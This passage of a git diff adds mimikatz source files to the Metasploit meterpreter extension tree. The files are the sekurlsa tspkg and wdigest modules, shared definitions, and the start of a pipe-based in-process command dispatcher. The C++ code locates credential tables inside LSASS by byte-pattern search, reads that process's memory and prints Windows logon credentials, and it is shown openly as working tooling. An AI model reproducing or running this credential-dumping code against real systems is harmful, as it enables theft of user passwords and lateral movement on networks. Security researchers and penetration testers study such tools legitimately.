ULONG CredentialReferences;
|
||||
LUID LogonId;
|
||||
ULONG unk0;
|
||||
ULONG unk1;
|
||||
ULONG unk2;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY;
|
||||
|
||||
static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList;
|
||||
static bool searchSSPEntryList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV;
|
||||
static bool getSSP(vector<wstring> * arguments);
|
||||
static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -0,0 +1,93 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "tspkg.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
|
||||
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
|
||||
LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
|
||||
|
||||
BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
|
||||
LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
|
||||
#endif
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable);
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WALL_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WALL_TSGlobalCredTable);
|
||||
offset = OFFS_WALL_TSGlobalCredTable;
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
|
||||
offset = OFFS_WNO8_TSGlobalCredTable;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_TSGlobalCredTable;
|
||||
taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
|
||||
offset = OFFS_WIN8_TSGlobalCredTable;
|
||||
}
|
||||
#endif
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"tspkg"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
|
||||
*pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModTSPKG && TSGlobalCredTable);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchTSPKGFuncs())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
|
||||
if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP);
|
||||
if(pLogSession->pTsPrimary)
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
|
||||
}
|
||||
else wcout << L"n.s. (SuppCred KO) / ";
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
|
||||
delete [] monBuffC, monBuffP;
|
||||
}
|
||||
else wcout << L"n.a. (tspkg KO)";
|
||||
return true;
|
||||
}
|
@ -0,0 +1,37 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_tspkg {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_TS_PRIMARY_CREDENTIAL {
|
||||
PVOID unk0; // lock ?
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL;
|
||||
|
||||
typedef struct _KIWI_TS_CREDENTIAL {
|
||||
#ifdef _M_X64
|
||||
BYTE unk0[108];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk0[64];
|
||||
#endif
|
||||
LUID LocallyUniqueIdentifier;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary;
|
||||
} KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL;
|
||||
|
||||
static PRTL_AVL_TABLE TSGlobalCredTable;
|
||||
static bool searchTSPKGFuncs();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG;
|
||||
static bool getTsPkg(vector<wstring> * arguments);
|
||||
static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -0,0 +1,90 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "wdigest.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL;
|
||||
mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL;
|
||||
long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d};
|
||||
BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39};
|
||||
BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04};
|
||||
BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04};
|
||||
BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04};
|
||||
#endif
|
||||
LONG OFFS_WALL_InsertInLogSess = -4;
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList);
|
||||
offset = OFFS_WALL_InsertInLogSess;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_InsertInLogSess;
|
||||
taille = sizeof(PTRN_WNO8_InsertInLogSess);
|
||||
}
|
||||
else if(mod_system::GLOB_Version.dwBuildNumber < 8400)
|
||||
{
|
||||
pattern = PTRN_W8CP_InsertInLogSess;
|
||||
taille = sizeof(PTRN_W8CP_InsertInLogSess);
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_W8RP_InsertInLogSess;
|
||||
taille = sizeof(PTRN_W8RP_InsertInLogSess);
|
||||
}
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"wdigest"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false);
|
||||
*pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48);
|
||||
#elif defined _M_IX86
|
||||
offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32);
|
||||
#endif
|
||||
}
|
||||
return (pModWDIGEST && l_LogSessList);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchWDigestEntryList())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL);
|
||||
BYTE * monBuff = new BYTE[taille];
|
||||
if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId))
|
||||
if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary);
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
|
||||
delete [] monBuff;
|
||||
}
|
||||
else wcout << L"n.a. (wdigest KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,29 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_wdigest {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
|
||||
DWORD UsageCount;
|
||||
struct _KIWI_WDIGEST_LIST_ENTRY *This;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
|
||||
|
||||
static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList;
|
||||
static long offsetWDigestPrimary;
|
||||
static bool searchWDigestEntryList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST;
|
||||
static bool getWDigest(vector<wstring> * arguments);
|
||||
static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
128
c/meterpreter/source/extensions/mimikatz/modules/globdefs.h
Normal file
128
c/meterpreter/source/extensions/mimikatz/modules/globdefs.h
Normal file
@ -0,0 +1,128 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#pragma warning(disable:4530)
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
using namespace std;
|
||||
|
||||
#define SECURITY_WIN32
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define MAX_DOMAIN_LEN 24
|
||||
#define MAX_USERNAME_LEN 24
|
||||
|
||||
#define MIMIKATZ L"mimikatz"
|
||||
#ifdef _M_X64
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
|
||||
#else ifdef
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
|
||||
#endif
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
|
||||
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
|
||||
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
|
||||
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
|
||||
|
||||
#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
|
||||
|
||||
typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments);
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
|
||||
PKIWI_LOCAL_COMMAND ptrCommand;
|
||||
wstring commandName;
|
||||
wstring commandHelp;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
|
||||
wstring module;
|
||||
wstring description;
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
|
||||
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef const ULONG CLONG;
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
typedef STRING OEM_STRING;
|
||||
typedef PSTRING POEM_STRING;
|
||||
typedef CONST STRING* PCOEM_STRING;
|
||||
|
||||
/* System* */
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE mimi_hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE mimi_hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
|
||||
/* CNG */
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
|
||||
typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
|
||||
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
|
||||
|
||||
/* Rtl* */
|
||||
#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
|
||||
typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
|
||||
typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
|
||||
typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
|
||||
typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
|
||||
typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
|
||||
typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
|
||||
typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
|
||||
typedef struct _RTL_BALANCED_LINKS {
|
||||
struct _RTL_BALANCED_LINKS *Parent;
|
||||
struct _RTL_BALANCED_LINKS *LeftChild;
|
||||
struct _RTL_BALANCED_LINKS *RightChild;
|
||||
CHAR Balance;
|
||||
UCHAR Reserved[3];
|
||||
} RTL_BALANCED_LINKS;
|
||||
typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
|
||||
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS {
|
||||
GenericLessThan,
|
||||
GenericGreaterThan,
|
||||
GenericEqual
|
||||
} RTL_GENERIC_COMPARE_RESULTS;
|
||||
|
||||
typedef struct _RTL_AVL_TABLE {
|
||||
RTL_BALANCED_LINKS BalancedRoot;
|
||||
PVOID OrderedPointer;
|
||||
ULONG WhichOrderedElement;
|
||||
ULONG NumberGenericTableElements;
|
||||
ULONG DepthOfTree;
|
||||
PRTL_BALANCED_LINKS RestartKey;
|
||||
ULONG DeleteCount;
|
||||
PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
|
||||
PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
|
||||
PRTL_AVL_FREE_ROUTINE FreeRoutine;
|
||||
PVOID TableContext;
|
||||
} RTL_AVL_TABLE, *PRTL_AVL_TABLE;
|
139
c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp
Normal file
139
c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp
Normal file
@ -0,0 +1,139 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "kmodel.h"
|
||||
|
||||
HMODULE g_hModule = NULL;
|
||||
/*
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
|
||||
{
|
||||
g_hModule = hModule;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL);
|
||||
if(hThread && hThread != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}*/
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter)
|
||||
{
|
||||
mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
|
||||
|
||||
bool succes = false;
|
||||
for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
|
||||
{
|
||||
succes = monCommunicator->createClient();
|
||||
if(!succes)
|
||||
{
|
||||
Sleep(3000);
|
||||
}
|
||||
}
|
||||
|
||||
if(succes)
|
||||
{
|
||||
ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
|
||||
|
||||
wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
|
||||
if(maFonctionString)
|
||||
{
|
||||
wstring * maDescription = new wstring();
|
||||
if(maFonctionString(maDescription))
|
||||
{
|
||||
monBuffer.append(L"\n\n");
|
||||
monBuffer.append(*maDescription);
|
||||
}
|
||||
delete maDescription;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if(monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
for(;;)
|
||||
{
|
||||
if(monCommunicator->readFromPipe(monBuffer))
|
||||
{
|
||||
wstring fonction = monBuffer;
|
||||
vector<wstring> arguments;
|
||||
|
||||
size_t monIndex = fonction.find(L' ');
|
||||
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
}
|
||||
|
||||
string procDll(fonction.begin(), fonction.end());
|
||||
|
||||
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
|
||||
|
||||
if(maFonction)
|
||||
{
|
||||
if(maFonction(monCommunicator, &arguments))
|
||||
{
|
||||
monBuffer = L"@";
|
||||
}
|
||||
else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
monBuffer = L"@Méthode \'";
|
||||
monBuffer.append(fonction);
|
||||
monBuffer.append(L"\' introuvable !\n");
|
||||
}
|
||||
|
||||
if(!monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
delete monCommunicator;
|
||||
|
||||
FreeLibraryAndExitThread(g_hModule, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message)
|
||||
{
|
||||
wstring reponse = L"#";
|
||||
reponse.append(message);
|
||||
|
||||
return monPipe->writeToPipe(reponse);
|
||||
}
|
||||
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
|
||||
{
|
||||
bool sendOk = sendTo(monPipe, L"pong");
|
||||
|
||||
